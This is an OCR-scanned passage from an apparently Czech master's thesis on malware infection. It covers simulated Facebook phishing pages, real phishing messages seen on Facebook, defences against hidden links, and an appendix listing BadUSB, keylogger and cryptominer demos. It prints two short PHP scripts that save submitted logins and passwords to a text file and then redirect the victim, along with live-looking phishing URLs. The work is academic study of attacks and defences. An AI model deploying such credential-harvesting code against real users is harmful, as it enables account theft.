Ve video ukazce Phishing FakeWebsite je vidét pribéh phishingového ttoku. Uzivatel ob-
drzel emailovou zpravu vyzyvajici k zméné hesla skrze hypertextovy odkaz (Skodlivy odkaz
skryt za tag <a>). Skodlivy hypertextovy odkaz uZivatele pfesméruje na infikovany web
obsahujici falesnou facebookovou stranku. Tato stranka vyzyva uzivatele k prihlaseni se ke
svému profilu. Po zadani pfihlasovacich udaju (ve video ukazce ,emailtest”, ,heslotest") je
plesmérovan na sviij facebookovy profil. Utoénik poté otevie textovy soubor passwords. tzt

zahrnujici prihlasovaci idaje uzivatele a dalsi informace o uzivateli.
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Veskerou skodlivou funkcionalitu infikované webové stranky poskytuje login.php soubor
(viz Vypis 6). K spusténi tohoto php souboru dochazi ve chvili, kdy uzivatel klikne na
tlac¢itko login na falesné facebookové strance. Po kliknuti na toto tlacitko dojde k zapsani
do textového souboru passwords.tzt a pomoci funkce header (viz Vypis 6) k presmérovani
uzivatele na legitimni facebookovou stranku. K ziskani vérohodné HTML kopie faceboo-
kové stranky staci itocnikovi stahnou z legitimni facebookové stranky HTML soubor a

slozku index_ files.

<?php
header("location: http://wwww.facebook.com");
$file = fopen("passwords.txt","a+");
foreach($_POST as $data=> $logpass)
{
furite($file,"\r\n");
furite($file,$data);
furite($file,"=");
furite($file,$logpass);
furite($file,"\r\n");
}
furite($file, "---—-———————mmmmmmm oo ")
fclose($file);
exit;

>

Vypis 6: Skodlivy php kéd ve video ukazce Phishing FakeWebsite

2. Druhou simulovanou nekalou praktikou je ziskani citlivych informaci uzivatele pomoci vy-
skakujicich oken (pop-up). Navstiveny infikovany web casto slibuje poutavy obsah skryty
za pop-up oknem. K uzavrieni pop-up okna a zobrazeni obsahu webové stranky musi uzi-

vatel vyplnit idaje, které utoénik vyzaduje.

Ve video ukézce Phishing PopUp je mozné vidét, jak uzivatel pomoci bitly odkazu vstu-
puje na infikovanou webovou stranku. Tato webova stranka uzivateli slibuje zobrazeni
zpravy. Jakmile uzivatel klikne na zobrazeni zpravy, objevi se pop-up okno, které nelze
zavrit a vyzaduje prihlaseni na facebookovy profil. Poté co uzivatel tyto informace vyplni,
pop-up okno se zavie a uzivateli se zobrazi puvodni HTML stranka. V tomto pripadé
uzivatel neziskal slibovanou zpravu, avsak tto¢nik ziskal potfebné informace pro odcizeni

facebookového profilu.

Stejné jako u predeslé simulace skodlivou funkcionalitu obstarava php soubor (viz Vypis 7).
Tento php soubor také zapisuje data do textového souboru, ale oproti predchozi simulaci

ziskava pouze prihlasovaci tidaje (email, heslo).
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<?php

if (isset($ POST[’submitvalue’])) {
$file = fopen(’passwords.txt’,’a+’);
$name = $_POST[’nameinput’];
$password = $_POST[’passwordinput’];
furite($file,"\r\n");
furite($file,"login: ");
furite($file,$name) ;
furite($file,"\r\n");
furite($file, "password: ");
furite($file, $password) ;
furite($file,"\r\n");

furite($file, "--—-—-—————————————————————— ");
fclose($file);
header("location: http://localhost");

}

>

Vypis 7: Skodlivy php kéd ve video ukazce Phishing PopUp

Ve video ukazkach (Phishing FakeWebsite, Phishing_ PopUp) je mozné vidét, ze oba infiko-
vané weby jsou hostovany na adrese http://fblog.9e.cz. Kvuli moznému zneuziti neni na webové
adrese jiz zadny obsah. V ptipadé zajmu odzkouseni infikovanych webovych stranek, jsem prilo-
zené kédy upravil pro moznost jejich nasazeni v prostiedi 1IS* nebo IIS Express. Pied spusténim
téchto kédu v lokalnim prostfedi (localhost) je nutné soubortim php a txt nastavit rozsitenda

prava pro uzivatele IIS_TUSRS ("jméno lokélniho pocitace").

6.3 Priklady phishingovych tutoki

v

Obsahem kapitoly bude ukéazka phishingovych ttokt Sirici se prostiednictvim socialni sité Fa-
cebook.

V ramci experimentu jsem si zalozil falesny facebookovy profil. Tento falesny profil jsem po-
uzil k registraci na nékterych webovych strankéch (ebay, CZC, Alza, mimibazar a fada dalsich).
Nasledné jsem na facebookovém profilu vyplnil profilové informace jako jsou pohlavi (muz),
ro¢nik narozeni (1995) a misto bydlisteé (Ostrava-Zabreh). Kazdy den jsem se timto faceboo-
kovym profilem pfipojoval do novych facebookovych skupin. Za dva tydny od zalozeni mého

facebookové u¢tu prisla prvni phishingova zprava (viz. Obrazek 19).

1S je softwarovy webovy server vytvoreny spole¢nosti Microsoft.
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Heerschap Gabriella Kalia

Vy a Heerschap nejste na Facebooku ve spojeni

590
https://web.facebook.com/flx/warn/
2u=https%3A%2F%2Fleah-masonn
.blogspot.com%2Fkeloanduk69&h=
AT612EFpjYpS6UeQ7hXmjSIlvd5SUs <
094FM-x7G21t4TW
gPWbbanYcJidg5SWAp1jNg9bt148E
VWOWPYifrg6TM1nGn7XnM3hPT2h
nNO54-UE4SNYXkSZ4w& rdc=1&
_rdr¢h &

Pokud odpovite, bude vdm Heerschap moct zavolat a mimo
jiné uvidi, ze jste aktivni nebo Ze méte zpravu prectenou.

NECHCI, ABY ME HEERSCHAP KONTAKTOVAL(A)

v @ e ® b

Obrazek 19: Phishingovy ttok pomoci facebookové zpravy

Utocnik se Skodlivou webovou adresu snazi maskovat pomoci facebookového presmérovan.
Na Obréazku 19 je vidét skodlivy odkaz zacinajici fetézcem:
whttp://web.facebook.com/flx /warn/?u=*

Pravé tento pocatecnim retézec ma u uzivatele vzbudit davéru, ze se jedna o legitimni
odkaz na facebookovy profil, ve skutecénosti tento pocatecni retéz slouzi pro presmérovani uzi-
vatele z facebookové stranky na skodlivou webovou stranku. Opravdovy skodlivy odkaz je skryt
za pocateénim Tetézcem: ,https://fleah-masonn.blogspot.com/“ Odkaz sméruje na infikovanou
webovou stranku snazici se z uzivatele ziskat prihlasovaci idaje do sluzby PayPal.

Dalsim prikladem phishingovéhu utoku skrze socidlni sit Facebook lze vidét na Obrazku
20. Phishingovy ttok byl proveden na mij soukromy facebookovy profil. Utoénikiv téet Alex
Rizky poslal velkému mnozstvi uzivatelu zadost o pratelstvi. Na Obrazku 20 (vlevo) je vidét,
ze zadost o pratelstvi prijalo 3 357 uzivateli facebooku. Na facebookové zdi mél tento falesny

profil odkaz na infikovanou webovou stranku (viz prava ¢ast Obrazku 20).
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Rizky Alex si aktualizovala profilovy
obrazek.

20.3.at16:49 - Q

Dobry den ... Webové stranky prostitutek, které hledaji
prétele pro randéni 5 ¢ 0%

Pfipojte se zdarma& ¢3

Kliknéte zde ..~ http://bit.ly/xI174c139n

h -

Rizky Alex

Sent you a friend request

@ Nezadana

= See Alex's About Info

Pratelé (Ve
3 357 prétel
£ Share

Obrézek 20: Phishingovy ttok pomoci falesného facebookového profilu

Infikovand stranka na adrese (http://bit.ly /x1174c139n) funguje jako prostiednik ziskévajici
penize za presmérovani uzivatele na urcitou webovou stranku. V tomto pfipadé se jednd o
erotickou seznamku, ta se nekalymi praktikami snazi z uzivatele vylakat informace o platebni

karté.

6.4 Obrana a odhaleni skrytého odkazu

Nejlepsi obranou proti phishingu je obezietnost uzivatele. Rovnéz je vhodné pravidelné aktua-
lizovat webovy prohlize¢, operacni systém a pouzivat antivirové reseni.

Pred otevienim jakéhokoliv webového odkazu je dulezité zjistit, kam tento odkaz opravdu
sméruje. V kapitole 6.1 jsem zminil pét zptusobti, jak ito¢nici maskuji své odkazy. V této kapitole
popisu zpusoby, jak tyto skryté odkazy odhalit.

V pripadé skrytych odkazu pomoci HIT'ML elementu <a> sta¢i aby uzivatel pred otevienim
odkazu kurzorem najel na hypertextovy odkaz. Nasledné je zobrazenad webova adresa, na kterou
tento odkaz presmérovava. Stejny postup plati pro skryty odkaz v JPEG obrazku.

V pripadé obdrzeni zkracené webové adresy je mozné tuto webovou adresu pred jejim ote-
vienim ovérit. Ovéfeni se déld pomoci znaku ,,+“ (u bitly a rebrandly zkracovacéi) pridavajici
se na konec adresy. Na Obrazku 21 je vidét, jak toto ovéfeni probihd. V levé ¢asti Obrazku
21 je ovéreni adresy, kterd byla pouzita ve video ukazce Phishing PopUp. V pravé casti je

skute¢na phishingovéa adresa. Zkracena bitly phishingovd adresa se aktualné (Bfezen 2020) sifi

prostiednictvim socialni sit Facebook.
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& hitps;//bitly.com PdeU + O a bitly.com
Pop-Up TextNowq

/2UMPdel Py bitly.com/2@xCcEO [

Obrazek 21: Ovéreni webové adresy ve webové zkracovaci bitly

Pokud je odkaz skryt pomoci IDN homografového ttoku, je takika nemozné Skodlivy od-
kaz rozeznat od legitimniho odkazu (viz Obréazek 17). Nejlepsim obranou je vSechny dorucené
webové adresy neotvirat prostfednictvim odkazu, ale prepsdnim webové adresy do URL vyhle-
dévace. Obranu nabizeji také webové prohlizece, u niz lze v nastaveni nebo pomoci rozsireni
(extensions) vypnout zobrazovani Punycode znaku v éitelné podobé. Skodlivy odkaz z Obrazku
17 bude poté zobrazovan nasledovné https://www.zn-80ak6aa9d2e.com.

V kapitole 6.1 zminuji druhy zptsob jakym k phishingovym utokim dochéazi, a to skrze
chybné zadanou webovou stranku. Efektivni obranu proti tomuto phishingovému ttoku tvori an-
tivirové programy obsahujici pravidelné aktualizovanou databazi blokovanych webovych stranek.
Tedy pokud bude ttocnik na webové adrese, napriklad vyse zminénd adresa www.zoutube.com,
provozovat Skodlivy obsah, dojde k zapsani webové stranky do databaze blokovanych adres.
Jakmile se uzivatel pokusi vstoupit na tuto blokovanou webovou stranku, bude antivirovym
feSenim varovan. Obrazek 22 ukazuje priiklad blokovani infikované webové stranky (pouzity
antivirovy program ESET NOD32).

Nalezen potencialné nechtény obsah

Pfistup na stranku byl zablokovén, protoZe se nachazi na seznamu stranek s neznamou reputacl nebo
potencialné nechténym obsahem.

Chcete se vratit na pfedchozi stranku?

Prejit zpét [ Ignorovat a pokracovat ]

Obrézek 22: Blokovani phishingové webové stranky
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7 Zavér

Vsechny cile ze zadani diplomové préace byly splnény. Kapitola State of the Art obsahuje resersi
aktudlntho stavu infekci. Prace je rozdélena do tii ¢asti.

V prvni ¢asti prace analyzuji potiebné znalosti ke tvorbé BadUSB =zarizeni a zda tento
druh infekce muze Uspésné provést i utocnik bez vétsich technickych znalosti. Teoreticky po-
pis BadUSB zarizeni ukazuje na skutecnost, ze k tvorbé tohoto zafizeni je potfeba mit velmi
dobrou znalost protokolu USB a mit zkuSenosti v programovacim jazyce C. V praktické c¢asti
vytvarim vlasti BadUSB zarizeni s pouzitim mikrokontroleru Teensy. Béhem tvorby tohoto za-
fizeni zjistuji, ze Teensy zafizeni jiz obsahuje fadu preddefinovanych deskriptorti. Diky predem
vytvorenym deskriptorim nemusi tto¢nik studovat komplexni protokol USB. Pti hledani do-
plnujicich informacich k Teensy zafizeni jsem narazil na fadu vytvorenych payloadi urcenych
pro BadUSB zafizeni. Tyto dostupné payloady jsem otestoval a drtiva vétsina byla bez nutnosti
jakychkoliv uprav plné funkéni. Také jsem vytvoril dva vlastni payloady k otestovani obtiznosti
tvorby payloadu pro mikrokontroler Teensy. V pribéhu implementace jsem si vsiml, ze vyvojové
prostiedi (IDE) pro Teensy zafizeni obsahuje zna¢ny pocet knihoven usnadnujici tvorbu kédi.
Diky téchto zjednodusujicich funkei v Teensy zarizeni (vychozi deskriptory, dostupné payloady,
knihovny) muze BadUSB zafizeni vytvorit i uzivatel s minimem technickych znalosti.

Druhé c¢ast diplomové prace prokazala skutec¢nost, ze je infekce skrze Microsoft Office do-
pliiky mozna. Infikovany doplnék jsem vytvoril pomoci metody VSTO a platformy Office do-
plinki. U obou téchto metod lze vytvorit infikovany doplnék nesouci payload. Kazda z metod
ma rozdilné vyhody a nevyhody z pohledu infekce.

Obsahem posledni ¢dsti diplomové prace je popis prubéhu phishingovych utoku. Pri tvorbé
reSerse (State of the Art) jsem si v8im skutecnosti, ze drtivd vétsina odbornych praci zamé-
fujicich se na téma malwarové infekce se zabyva tvorbou programu k odhaleni/zablokovani
phishingovych utokd. Problém téchto praci je absence jakéhokoliv popisu pribéhu, ¢i ukazky
nékteré z phishingovych metod. Z tohoto duvodu jsem se rozhodl svou praci doplnit o popsani
pribéht phishingu a provést simulaci téchto itokl. V ramci experimentu jsem rovnéz analy-
zoval redlné phishingové tutoky sifici se na socialni siti Facebook. K ziskani téchto vzorkt jsem
vyuzil falesny facebookovy profil, se kterym jsem se registroval na radu facebookovych skupin a
webovych stranek. V posledni kapitole jsem navrhl zptsoby obrany proti této infekci. Na zaveér

bych rad konstatoval, zZe vSechny body prace byly splnény.
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Priloha v IS EDISON
Video ukazky

A.1.1 Video ukazky pouzité v kapitole BadUSB

BadUSB_ T2 Winl0_M1 - Video ukdzka BadUSB zatizeni (Teensy 2) infikujic Windows

10 pomoci piimého vlozeni skriptu.

BadUSB_T2_Winl0_M2 - Video ukdzka BadUSB zafizeni (Teensy 2) infikujic Windows

10 pomoci stazeni a provedeni skriptu.

BadUSB_T2_ Win7_ M1 - Video ukdzka BadUSB zafizeni (Teensy 2) infikujic Windows

7 pomoci primého vlozeni skriptu.

BadUSB_ T2 Win7_ M2 - Video ukdzka BadUSB zafizeni (Teensy 2) infikujic Windows

7 pomoci stazeni a provedeni skriptu.

BadUSB_T32_Winl0_M1 - Video ukdzka BadUSB zarizeni (Teensy 3.2) infikujic Win-

dows 10 pomoci piimého vlozeni skriptu.

BadUSB_T32_Winl0_M2 - Video ukdzka BadUSB zarizeni (Teensy 3.2) infikujic Win-

dows 10 pomoci stazeni a provedeni skriptu.

BadUSB_T32_Win7_ M1 - Video ukdzka BadUSB zafizeni (Teensy 3.2) infikujic Win-

dows 7 pomoci pifimého vlozeni skriptu.

BadUSB_T32_Win7_M2 - Video ukdzka BadUSB zafizeni (Teensy 3.2) infikujic Win-

dows 7 pomoci stazeni a provedeni skriptu.

A.1.2 Video ukazky pouzité v kapitole infekce skrze Microsoft Office doplnky

VSTO__AddIn_ DowloadScript - Video ukazka obsahujici infekci skrze VSTO doplnék a

payload (Stazeni a provedeni skriptu).

VSTO__AddIn_ Keylogger - Video ukazka obsahujici infekci skrze VSTO doplnék a pay-
load (Keylogger).

OfficeJS_ AddIn_ Mining - Video ukazka zobrazujici infekci prostfednictvim platformy
Office dopliiku s payloadem (tézba CoinIMP).

OfficeJS__AddIn_ Hook - Video ukézka zobrazujici infekci prostfednictvim platformy Of-

fice dopliiku s payloadem (zachyceni uzivatele).
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A.1.3 Video ukazky pouzité v kapitole phishingové utoky
e Phishing FakeWebsite - Video ukéazka obsahujici phishingovou infekci, jenz uzivatele pre-
sméruje na faleSnou webovou stranku.
e Phishing PopUp - Video ukazka simulujici phishingovy titok prostfednictvim pop-up upo-
zorneéni.
A.2 Instala¢ni soubory

e WordAddInKeylogger.msi - Instalac¢ni soubor s infikovanym VSTO doplnkem do Microsoft
Office Word. Obsahem je i payload (keylogger).

e WordAddInScript.msi - Instalac¢ni soubor s infikovanym VSTO dopliikem do Microsoft
Office Word. Obsahem je i payload (stazeni a provedeni skriptu).

e Setup.exe - Instala¢ni soubor s Microsoft.office.tools.common.v4.0.utilities.dll.

A.3 Zdrojové kédy
A.3.1 Zdrojové kédy pouzité v kapitole BadUSB

e BadUSB_ Script.ino - Skript pouzity ve video ukézkich BadUSB_T2_ Winl0_ M1, Ba-
dUSB_T2_ Win7_ M1, BadUSB_T32_ Winl0_M1,BadUSB_T32_Win7_MI1.

e BadUSB_ DownloadScript.ino - Skript pouzity ve video ukdzkach BadUSB_ T2 Winl0 M2,
BadUSB_T2_Win7_M2, BadUSB_T32_Winl0_M2,BadUSB_T32_ Win7_ M2.

e SpeedTest.py - Kéd pro zjisténi polling rate hodnoty.

A.3.2 Zdrojové kédy pouzité v kapitole infekce skrze Microsoft Office doplnky

Tyto adresare zahrnuji cely projekt (.sln) a veskeré manifesty.
Ke kompilaci VSTO projektu je nutné mit nainstalované rozsireni (extensions) Microsoft

Visual Studio Installer Projects do vyvojového prostiedi (IDE) Visual Studio.
1. VSTO doplnky

e VSTO__AddIn_ Script - Adresar zahrnujici kéd VSTO doplitku s infekci a payloadem
(stazeni a provedeni skriptu). Tento kéd byl pouzit ve video ukézce
VSTO__AddIn_ DowloadScript.

e VSTO__AddIn_ Keylogger - Adresar zahrnujici kod VSTO dopliiku s infekci a pay-
loadem (keylogger). Také tento adresar obsahuje druhy projekt (Keylogger.sln) ob-

sahujici implementaci samotného keyloggeru. Tento kéd byl pouzit ve video ukazce
VSTO_ AddIn_ Keylogger.

2. Doplinky vytvorené platformou Office dopliku
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e Word_ Web_ AddIn_ Mining - Adresai zahrnujici kod dopliku vytvoreného pomoci
platformy Office dopliitku spolu s infekci a payloadem (tézba CoinIMP). Tento kod
byl pouzit ve video ukédzce OfficeJS__AddIn_ Mining.

e Word_ Web_ AddIn_ Hook - Adresai zahrnujici kéd doplinku vytvoreného pomoci
platformy Office dopliiku spolu s infekci a payloadem (zachyceni uzivatele). Tento
kod byl pouzit ve video ukazce OfficeJS_AddIn_ Hook.

A.3.3 Zdrojové kédy pouzité v kapitole phishingové utoky

Nize vypsané soubory FakeWebsite a PopUp jsou umistény v adresaiich FakeWebsite Files
(soubory z FakeWebsite) a PopUp_ Files (soubory z PopUp). Tyto soubory byly pouzité ve
video ukazkach Phishing FakeWebsite a Phishing PopUp

1. Zdrojové kédy ukazky FakeWebsite

e index.html - Okopirovana webova stranka (facebook.com) s infekei.

e login.php - Kéd zajistujici odcizeni citlivych udaja.

e index_files - Adresai zahrnujici okopirované soubory (css, js, html a obrazky) pro
napodobeni vzhledu facebookové stranky (index.html).

e passwords.txt - Textovy soubor do néz login.php zapisuje.
2. Zdrojové kody ukazky PopUp
e login.php - Kéd zajistujici odcizeni citlivych tdaja.
e index.html - Struktura html stranky:.
e script.js - Kéd zahrnujici funkce pop-up okna.
e style.css - Kaskadovy styl pro napodobeni vzhledu facebookového pop-up okna.

e passwords.txt - Textovy soubor do néz login.php zapisuje.
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